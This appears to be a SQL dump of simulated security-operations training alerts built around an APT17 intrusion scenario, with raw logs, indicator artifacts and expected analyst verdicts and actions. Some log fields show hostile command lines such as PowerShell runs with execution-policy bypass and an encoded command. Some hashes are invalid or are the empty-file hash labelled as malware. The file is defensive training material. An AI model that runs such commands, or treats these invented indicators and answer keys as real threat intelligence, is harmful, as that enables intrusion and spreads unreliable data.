INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1202, 'Registry Modification Detected', 'medium', 'Host-based Intrusion Detection System', 'Detected suspicious registry modification activity associated with APT17. The modification ensures malware persistence through system reboots and user logins.', 'Persistence', 'T1112 - Modify Registry', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"4624\",\"system\":{\"computer\":\"DESKTOP-1A2B3C\",\"user\":{\"id\":\"S-1-5-21-123456789-234567890-345678901-1001\",\"name\":\"jdoe\",\"domain\":\"WORKGROUP\"}},\"event_data\":{\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"Updater\",\"registry_value\":\"\\\"C:\\\\Program Files\\\\Updater\\\\updater.exe\\\"\",\"process_id\":\"4748\",\"process_name\":\"regedit.exe\",\"network_info\":{\"internal_ip\":\"192.168.1.10\",\"external_ip\":\"203.0.113.45\"},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}}', '2026-02-07 21:24:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT17 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash linked to APT17 malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"updater.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in persistence mechanisms.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_db\",\"verdict\":\"internal\",\"details\":\"User account of logged-in user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.522Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"DESKTOP-1A2B3C\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-123456789-234567890-345678901-1001\\\",\\\"name\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"WORKGROUP\\\"}},\\\"event_data\\\":{\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"Updater\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Updater\\\\\\\\updater.exe\\\\\\\"\\\",\\\"process_id\\\":\\\"4748\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_info\\\":{\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-08T18:59:02.522Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"DESKTOP-1A2B3C\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-123456789-234567890-345678901-1001\\\",\\\"name\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"WORKGROUP\\\"}},\\\"event_data\\\":{\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"Updater\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Updater\\\\\\\\updater.exe\\\\\\\"\\\",\\\"process_id\\\":\\\"4748\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_info\\\":{\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-08T18:58:02.522Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"DESKTOP-1A2B3C\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-123456789-234567890-345678901-1001\\\",\\\"name\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"WORKGROUP\\\"}},\\\"event_data\\\":{\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"Updater\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Updater\\\\\\\\updater.exe\\\\\\\"\\\",\\\"process_id\\\":\\\"4748\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_info\\\":{\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-08T18:57:02.522Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"DESKTOP-1A2B3C\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-123456789-234567890-345678901-1001\\\",\\\"name\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"WORKGROUP\\\"}},\\\"event_data\\\":{\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"Updater\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Updater\\\\\\\\updater.exe\\\\\\\"\\\",\\\"process_id\\\":\\\"4748\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_info\\\":{\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"},{\"timestamp\":\"2026-02-08T18:56:02.522Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"system\\\":{\\\"computer\\\":\\\"DESKTOP-1A2B3C\\\",\\\"user\\\":{\\\"id\\\":\\\"S-1-5-21-123456789-234567890-345678901-1001\\\",\\\"name\\\":\\\"jdoe\\\",\\\"domain\\\":\\\"WORKGROUP\\\"}},\\\"event_data\\\":{\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"Updater\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Updater\\\\\\\\updater.exe\\\\\\\"\\\",\\\"process_id\\\":\\\"4748\\\",\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_info\\\":{\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1203, 'Credential Dumping Activity', 'high', 'Security Information and Event Management (SIEM)', 'APT17 is utilizing harvested credentials to attempt lateral movement within the network. The objective is to access critical assets, thus deepening their infiltration. This activity involves the use of known malicious tools and compromised credentials, indicating an attempt to expand control over internal systems.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.102\",\"username\":\"jdoe_admin\",\"event_type\":\"credential_dumping_attempt\",\"malware_filename\":\"Mimikatz.exe\",\"malware_hash\":\"12a3b456c789d012e34f5678g9012h34\",\"device\":\"Windows Server 2019\",\"action\":\"Attempted access to critical assets using dumped credentials\",\"outcome\":\"Blocked\"}', '2026-02-07 21:24:15', '2026-02-21 05:08:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT17 C2 server IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Server targeted for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Compromised admin account\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"AV Scans\",\"verdict\":\"malicious\",\"details\":\"Credential dumping tool\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"12a3b456c789d012e34f5678g9012h34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mimikatz\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.523Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"credential_dumping_attempt\\\",\\\"malware_filename\\\":\\\"Mimikatz.exe\\\",\\\"malware_hash\\\":\\\"12a3b456c789d012e34f5678g9012h34\\\",\\\"device\\\":\\\"Windows Server 2019\\\",\\\"action\\\":\\\"Attempted access to critical assets using dumped credentials\\\",\\\"outcome\\\":\\\"Blocked\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.523Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"credential_dumping_attempt\\\",\\\"malware_filename\\\":\\\"Mimikatz.exe\\\",\\\"malware_hash\\\":\\\"12a3b456c789d012e34f5678g9012h34\\\",\\\"device\\\":\\\"Windows Server 2019\\\",\\\"action\\\":\\\"Attempted access to critical assets using dumped credentials\\\",\\\"outcome\\\":\\\"Blocked\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.523Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"credential_dumping_attempt\\\",\\\"malware_filename\\\":\\\"Mimikatz.exe\\\",\\\"malware_hash\\\":\\\"12a3b456c789d012e34f5678g9012h34\\\",\\\"device\\\":\\\"Windows Server 2019\\\",\\\"action\\\":\\\"Attempted access to critical assets using dumped credentials\\\",\\\"outcome\\\":\\\"Blocked\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.523Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"credential_dumping_attempt\\\",\\\"malware_filename\\\":\\\"Mimikatz.exe\\\",\\\"malware_hash\\\":\\\"12a3b456c789d012e34f5678g9012h34\\\",\\\"device\\\":\\\"Windows Server 2019\\\",\\\"action\\\":\\\"Attempted access to critical assets using dumped credentials\\\",\\\"outcome\\\":\\\"Blocked\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.523Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:22:35Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.102\\\",\\\"username\\\":\\\"jdoe_admin\\\",\\\"event_type\\\":\\\"credential_dumping_attempt\\\",\\\"malware_filename\\\":\\\"Mimikatz.exe\\\",\\\"malware_hash\\\":\\\"12a3b456c789d012e34f5678g9012h34\\\",\\\"device\\\":\\\"Windows Server 2019\\\",\\\"action\\\":\\\"Attempted access to critical assets using dumped credentials\\\",\\\"outcome\\\":\\\"Blocked\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1204, 'Data Exfiltration via Encrypted Channels', 'high', 'Network Traffic Anomaly Detection', 'In the final stage, APT17 uses encrypted communications to stealthily exfiltrate valuable data, completing their espionage mission while minimizing detection.', 'Exfiltration', 'T1020', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-21T14:52:30Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"bytes_sent\":1048576,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"encryption\":\"TLSv1.2\",\"file_hash\":\"7b50c2a1b2f3e3b5f0a1c2d3e4f5a6b7c8d9e0f1\",\"filename\":\"confidential_report.pdf\",\"username\":\"jdoe\",\"action\":\"data_exfiltration\"}', '2026-02-07 21:24:15', '2026-02-21 03:15:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT17.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"7b50c2a1b2f3e3b5f0a1c2d3e4f5a6b7c8d9e0f1\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with exfiltrated file known to contain sensitive data.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"document_tracking\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document exfiltrated via encrypted channel.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_activity_log\",\"verdict\":\"suspicious\",\"details\":\"User account involved in anomalous data transfer.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1205, 'Suspicious Web Traffic Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'APT17 has compromised a popular website frequented by employees of the targeted Japanese organizations. They are using it to deliver malicious payloads exploiting the Internet Explorer zero-day vulnerability (CVE-2013-3893). Initial access attempt detected via suspicious web traffic from a known malicious IP.', 'Initial Access', 'T1189: Drive-by Compromise', 1, 'closed', NULL, '{\"timestamp\":\"2023-10-21T14:32:00Z\",\"src_ip\":\"203.0.113.24\",\"dst_ip\":\"10.0.0.15\",\"src_port\":80,\"dst_port\":50232,\"protocol\":\"HTTP\",\"http_method\":\"GET\",\"http_url\":\"http://compromised-website.com/exploit\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"detected_rule\":\"Exploit-Kit-Detected\"}', '2026-02-07 21:24:22', '2026-02-19 15:56:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known APT17 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Internal employee workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://compromised-website.com/exploit\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Website compromised by APT17 for watering hole attack.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Associated with APT17 exploit delivery.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1206, 'Malware Execution Attempt Logged', 'medium', 'Endpoint Detection and Response (EDR)', 'Upon visiting the compromised site, the malicious payload is executed on the victim\'s machine, initiating the first step towards establishing a foothold within the network.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:07Z\",\"event_id\":\"EDR-123456\",\"computer_name\":\"WIN-10-PC\",\"user\":\"john_doe\",\"process_name\":\"powershell.exe\",\"file_path\":\"C:\\\\Users\\\\john_doe\\\\Downloads\\\\malicious_script.ps1\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\john_doe\\\\Downloads\\\\malicious_script.ps1\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"203.0.113.5\",\"detected_by\":\"EDR Agent v3.2\"}', '2026-02-07 21:24:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious script\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Suspicious script file executed\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Regular user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1207, 'Persistence Mechanism Established', 'medium', 'System Logs', 'APT17 established persistence on the compromised system by modifying registry keys and setting up backdoors. This allows them to maintain access even after system reboots. Indicators of compromise include registry changes and the presence of backdoor files.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T13:45:32Z\",\"event_id\":\"4720\",\"host_ip\":\"192.168.1.45\",\"user\":\"compromised_user\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Backdoor\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\backdoor.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"attacker_ip\":\"203.0.113.15\"}', '2026-02-07 21:24:22', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT17 activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known APT17 malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Suspicious filename related to persistence mechanisms.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User account that was compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.528Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T13:45:32Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Backdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"attacker_ip\\\":\\\"203.0.113.15\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.528Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T13:45:32Z\\\",\\\"event_id\\\":\\\"4720\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\Backdoor\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"attacker_ip\\\":\\\"203.0.113.15\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.528Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 